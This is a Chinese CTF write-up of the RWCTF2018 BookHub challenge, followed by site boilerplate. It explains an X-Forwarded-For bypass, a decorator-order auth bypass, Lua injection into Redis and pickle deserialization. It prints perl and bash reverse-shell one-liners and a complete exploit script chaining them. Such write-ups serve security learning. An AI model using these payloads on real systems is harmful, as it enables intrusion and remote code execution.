内容简介:How to pwn bookhub?hint: www.zip
Detail
How to pwn bookhub?
hint: www.zip
Writeup
0x01 Bypass IP
太垃圾了了,一开始掉进了XFF的坑里
./bookhub/forms.py
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)
def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '10.0.0.1')
./bookhub/helper.py
def get_remote_addr():
address = flask.request.headers.get(
'X-Forwarded-For', flask.request.remote_addr)
try:
ipaddress.ip_address(address)
except ValueError as e:
op(e)
return None
else:
return address
仔细看的时候才发现有个特殊的IP
扫一波端口发现 5000 ,访问后是新大陆
debug mode
X-Forwarded-For(XFF)伪造
X-Forwarded-For位于HTTP协议的请求头, 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入RFC 7239(Forwarded HTTP Extension)标准之中。
格式 : X-Forwarded-For: client, proxy1, proxy2
这个请求头可以被用户或者代理服务器修改的,因此也就可能存在 XFF伪造 的问题。
以Nginx为例:
location / {
proxy_pass http://webserver;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
$proxy_add_x_forwarded_for 变量包含客户端请求头中的 X-Forwarded-For ,与 $remote_addr 用逗号分开,如果没有 X-Forwarded-For 请求头,则 $proxy_add_x_forwarded_for 等于 $remote_addr 。
第一个代理获取的是客户端的 X-Forwarded-For 或者是 remote_addr ,而第二个代理获取的必然是第一个代理的 remote_addr 。
X-Forwarded-For: [xff|client_addr], proxy1, proxy2
所以,在代理的情况下, address = flask.request.headers.get( 'X-Forwarded-For', flask.request.remote_addr) 获取到的就不是单个IP了,而是用 , 分割的IP字符串。
PHP中获取IP的代码:
// thinkphp_3.2.3
function get_client_ip($type = 0) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$pos = array_search('unknown',$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
// IP地址合法验证
$long = sprintf("%u",ip2long($ip));
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0);
return $ip[$type];
}
分割 X-Forwarded-For 并获取第一个,也就是获取到有可能存在的伪造的 [xff|client_addr]
0x02 Login or Unauthorized Access (感谢chybeta大佬指正)
又一次掉进坑里,事实上,如图源码里的 migrations ,数据库里面根本没有用户,还zz地爆破弱口令
./bookhub/views/user.py
if app.debug:
@user_blueprint.route('/admin/system/')
@login_required
def system():
@user_blueprint.route('/admin/system/change_name/', methods=['POST'])
@login_required
def change_name():
...
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
可以看出, refresh_session() 的装饰器顺序和其他的不同。
Python的装上器是一层一层添加的
@warp2
@warp1
def func():
print(1)
调用函数的时候: func(warp2)->func(warp1)->func
在Flask中,访问 /admin/system/ :system(user_blueprint)->system(login_required)->system(),这时候就会判断 login_required 对登陆状态进行验证。
而访问 /admin/system/refresh_session/ :refresh_session(user_blueprint)->refresh_session(),这个地方就是没有 login_required 什么事了,也就造成了绕过权限控制的问题。
我还是太菜了,又研究了一波装饰器的问题
0x03 Redis & Lua Injection
./bookhub/views/user.py
if app.debug:
...
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']
if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end
return false
end
local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
print(e)
app.logger.exception(e)
status = 'fail'
return flask.jsonify(dict(status=status))
- sessionid = flask.session.sid
- rds.eval(...)
- local inputs = {{ "{prefix}{sessionid}" }}
- Lua Script Inject & ByPass del
这一步就4个点, sessionid 可控,并注入到 Lua脚本 被 redis.eval 执行,还得绕过 del
Test Pyaload :
-- 闭合语句
local inputs = { "{prefix}" }
-- urlDecode 处理不可见字符
local function urlDecode(s)
s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end)
return s
end
-- 写payload
redis.call("set","bookhub:session:sid",urlDecode("payload"))
-- 绕过del并注释后面的内容
inputs ={ "bookhub:session:sid" } -- " }
注入语句是没有换行的,当然 Lua 脚本的格式也和换行无关
Pyaload :
" } local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end redis.call("set","bookhub:session:sid",urlDecode("payload")) inputs = { "bookhub:session:sid" } -- " }
其实一开始,没想到用 urlDecode ,Lua的十六进制用 \XX 而不是常见的 \xXX ,
神一般的操作
0x04 flask_session Pickle & Rebound Shell
#flask_session/sessions.py
class RedisSessionInterface(SessionInterface):
...
serializer = pickle
...
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
...
val = self.redis.get(self.key_prefix + sid)
if val is not None:
try:
data = self.serializer.loads(val)
return self.session_class(data, sid=sid)
except:
return self.session_class(sid=sid, permanent=self.permanent)
return self.session_class(sid=sid, permanent=self.permanent)
- serializer = pickle
- sid = request.cookies.get(app.session_cookie_name)
- data = self.serializer.loads(val)
明显的Python pickle 反序列化漏洞
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
listen_ip, listen_port)
return (os.system, (s,))
服务器有毒, s = """/bin/bash -i >& /dev/tcp/%s/%d 0>&1""" % ( listen_ip, listen_port) , bash反弹 死活不成功
然后 perl 反弹成功了
Flag : rwctf{fl45k_1s_a_MAg1cal_fr4mew0rk_t0000000000}
exp.py
# -*- coding:utf-8 -*-
__AUTHOR__ = 'Virink'
import os
import sys
import requests as req
import re
from urllib.parse import quote as urlencode
try:
import cPickle as pickle
except ImportError:
import pickle
URL = "http://18.213.16.123:5000/"
listen_ip = 'your_vps_ip'
listen_port = 7979
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
listen_ip, listen_port)
return (os.system, (s,))
if __name__ == '__main__':
payload = urlencode(pickle.dumps([exp()]))
# 插入payload并防止del
sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \
'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % (
payload)
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 注入payload
headers["Cookie"] = 'bookhub-session="%s"' % sid
res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
res.content.decode('utf-8'))
if r:
# refresh_session
headers['X-CSRFToken'] = r[0]
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
# 触发RCE
req.get(URL + 'login/',
headers={'Cookie': 'bookhub-session=qaq'})
感想
- 我还是太弱了
- 我真的还是太弱了
- 太弱了
Web狗->没活路的样子,得熟悉各种语言的特性
膜 PHITHON 神鬼莫测的出题思路
- XFF绕代理orCDN 的坑
- Login代码(装饰器) 的坑
- Lua 的坑
- 反弹 shell 的坑
就让比赛主题 Real World ,很坑但很真实。
神如Ph牛挖坑,菜鸡如我爬坑!
以上所述就是小编给大家介绍的《RWCTF2018 BookHub Writeup & 爬坑感悟》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
宇宙涟漪中的孩子
谢云宁 / 四川科学技术出版社 / 2017-11 / 28.00元
近未来。日冕科技公司通过建造围绕太阳的光幕搜集了近乎无穷的能源,这些能源主要用于地球上的网络空间建设。随着全球网络时间频率的不断提升,越来越多的人选择接驳进虚拟空间,体验现实中难以经历的丰富人生。 网络互动小说作者宁天穹一直自认为是这些人中普通的一员,有一天却被一名读者带进反抗组织,了解到日冕公司的各种秘密,并被告知自己的小说将在抵抗运动中起到重要作用。 起初他拒绝参与,但看到地球被笼......一起来看看 《宇宙涟漪中的孩子》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
在线进制转换器
各进制数互转换器